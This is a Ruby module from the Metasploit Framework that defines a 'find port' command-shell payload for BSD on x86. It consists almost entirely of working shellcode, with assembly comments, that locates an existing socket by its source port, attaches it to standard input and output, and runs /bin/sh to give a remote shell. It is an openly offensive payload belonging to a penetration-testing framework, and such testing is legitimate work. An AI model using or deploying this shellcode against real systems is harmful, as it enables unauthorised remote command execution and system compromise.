modules/payloads/singles/bsd/x86/shell_find_port.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 60
include Msf::Payload::Single
include Msf::Payload::Bsd
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'BSD Command Shell, Find Port Inline',
'Description' => 'Spawn a shell on an established connection',
'Author' => 'Ramon de C Valle',
'License' => MSF_LICENSE,
'Platform' => 'bsd',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::FindPort,
'Session' => Msf::Sessions::CommandShellUnix,
'Payload' =>
{
'Offsets' =>
{
'CPORT' => [ 25, 'n' ],
},
'Payload' =>
"\x31\xc0" + # xorl %eax,%eax #
"\x50" + # pushl %eax #
"\x89\xe7" + # movl %esp,%edi #
"\x6a\x10" + # pushl $0x10 #
"\x54" + # pushl %esp #
"\x57" + # pushl %edi #
"\x50" + # pushl %eax #
"\x50" + # pushl %eax #
"\x58" + # popl %eax #
"\x58" + # popl %eax #
"\x40" + # incl %eax #
"\x50" + # pushl %eax #
"\x50" + # pushl %eax #
"\x6a\x1f" + # pushl $0x1f #
"\x58" + # popl %eax #
"\xcd\x80" + # int $0x80 #
"\x66\x81\x7f\x02\x04\xd2"+ # cmpw $0xd204,0x02(%edi) #
"\x75\xee" + # jne <fndsockcode+11> #
"\x50" + # pushl %eax #
"\x6a\x5a" + # pushl $0x5a #
"\x58" + # popl %eax #
"\xcd\x80" + # int $0x80 #
"\xff\x4f\xf0" + # decl -0x10(%edi) #
"\x79\xf6" + # jns <fndsockcode+30> #
"\x68\x2f\x2f\x73\x68" + # pushl $0x68732f2f #
"\x68\x2f\x62\x69\x6e" + # pushl $0x6e69622f #
"\x89\xe3" + # movl %esp,%ebx #
"\x50" + # pushl %eax #
"\x54" + # pushl %esp #
"\x53" + # pushl %ebx #
"\x50" + # pushl %eax #
"\xb0\x3b" + # movb $0x3b,%al #
"\xcd\x80" # int $0x80 #
}
))
end
end